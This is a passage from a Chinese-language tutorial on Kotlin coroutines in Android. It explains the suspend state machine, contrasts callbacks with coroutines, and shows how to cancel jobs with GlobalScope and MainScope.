Object cs = IntrinsicsKt.getCOROUTINE_SUSPENDED();//上面所说的那个Any:CoroutineSingletons.COROUTINE_SUSPENDED
switch (this.label) {
case 0:
this.label = 1;
user = requestUser(this);
if(user == cs){
return user
}
break;
case 1:
this.label = 2;
user = result;
println(user);
state = requestState(this);
if(state == cs){
return state
}
break;
case 2:
state = result;
println(state)
break;
}
}
当协程挂起后,然后恢复时,最终会调用invokeSuspend方法,而协程的block代码会封装在invokeSuspend方法中,使用状态来控制逻辑的实现,并且保证顺序执行。
通过以上我们也可以看出:
举个例子,使用两个UseCase来模拟挂起的操作,一个是网络操作,另一个是数据库的操作,然后操作ui,我们分别看一下代码上面的区别。
没有使用协程:
//伪代码
mNetworkUseCase.run(object: Callback {
onSuccess(user: User) {
mDbUseCase.insertUser(user, object: Callback{
onSuccess() {
MainExcutor.excute({
tvUserName.text = user.name
})
}
})
}
})
我们可以看到,用回调的情况下,只要对数据操作稍微复杂点,回调到主线程进行ui操作时,很容易就嵌套了很多层,导致了代码难以看清楚。那么如果使用协程的话,这种代码就可以得到很大的改善。
使用协程:
private fun requestDataUseGlobalScope(){
GlobalScope.launch(Dispatchers.Main){
//模拟从网络获取用户信息
val user = mNetWorkUseCase.requireUser()
//模拟将用户插入到数据库
mDbUseCase.insertUser(user)
//显示用户名
mTvUserName.text = user.name
}
}
对以上函数作说明:
由此在这个协程体中就可以一步一步往下执行,最终达到我们想要的结果。
如果我们需要启动的线程越来越多,可以通过以下方式:
private fun requestDataUseGlobalScope1(){
GlobalScope.launch(Dispatchers.Main){
//do something
}
}
private fun requestDataUseGlobalScope2(){
GlobalScope.launch(Dispatchers.IO){
//do something
}
}
private fun requestDataUseGlobalScope3(){
GlobalScope.launch(Dispatchers.Main){
//do something
}
}
但是平时使用,我们需要注意的就是要在适当的时机cancel掉,所以这时我们需要对每个协程进行引用:
private var mJob1: Job? = null
private var mJob2: Job? = null
private var mJob3: Job? = null
private fun requestDataUseGlobalScope1(){
mJob1 = GlobalScope.launch(Dispatchers.Main){
//do something
}
}
private fun requestDataUseGlobalScope2(){
mJob2 = GlobalScope.launch(Dispatchers.IO){
//do something
}
}
private fun requestDataUseGlobalScope3(){
mJob3 = GlobalScope.launch(Dispatchers.Main){
//do something
}
}
如果是在Activity中,那么可以在onDestroy中cancel掉
override fun onDestroy() {
super.onDestroy()
mJob1?.cancel()
mJob2?.cancel()
mJob3?.cancel()
}
可能你发现了一个问题:如果启动的协程不止是三个,而是更多呢?
没错,如果我们只使用GlobalScope,虽然能够达到我们的要求,但是每次我们都需要去引用他,不仅麻烦,还有一点是它开启的顶层协程,如果有遗漏了,则可能出现内存泄漏。所以我们可以使用kotlin协程提供的一个方法MainScope()来代替它:
private val mMainScope = MainScope()
private fun requestDataUseMainScope1(){
mMainScope.launch(Dispatchers.IO){
//do something
}
}
private fun requestDataUseMainScope2(){
mMainScope.launch {
//do something
}
}
private fun requestDataUseMainScope3(){
mMainScope.launch {
//do something
}
}
可以看到用法基本一样,但有一点很方便当我们需要cancel掉所有的协程时,只需在onDestroy方法cancel掉mMainScope就可以了:
override fun onDestroy() {
super.onDestroy()
mMainScope.cancel()
}
MainScope()方法:
@Suppress("FunctionName")
public fun MainScope(): CoroutineScope = ContextScope(SupervisorJob() + Dispatchers.Main)
使用的是一个SupervisorJob(制定的协程域是单向传递的,父传给子)和Main调度器的组合。
在平常开发中,可以的话使用类似于MainScope来启动协程。
本文的分享到这里就结束了,希望能够给你带来帮助。关于Kotlin协程的挂起知识远不止这些,而且也不容易理清,还是会继续去学习它到底用哪些技术点,深入探究原理究竟是如何。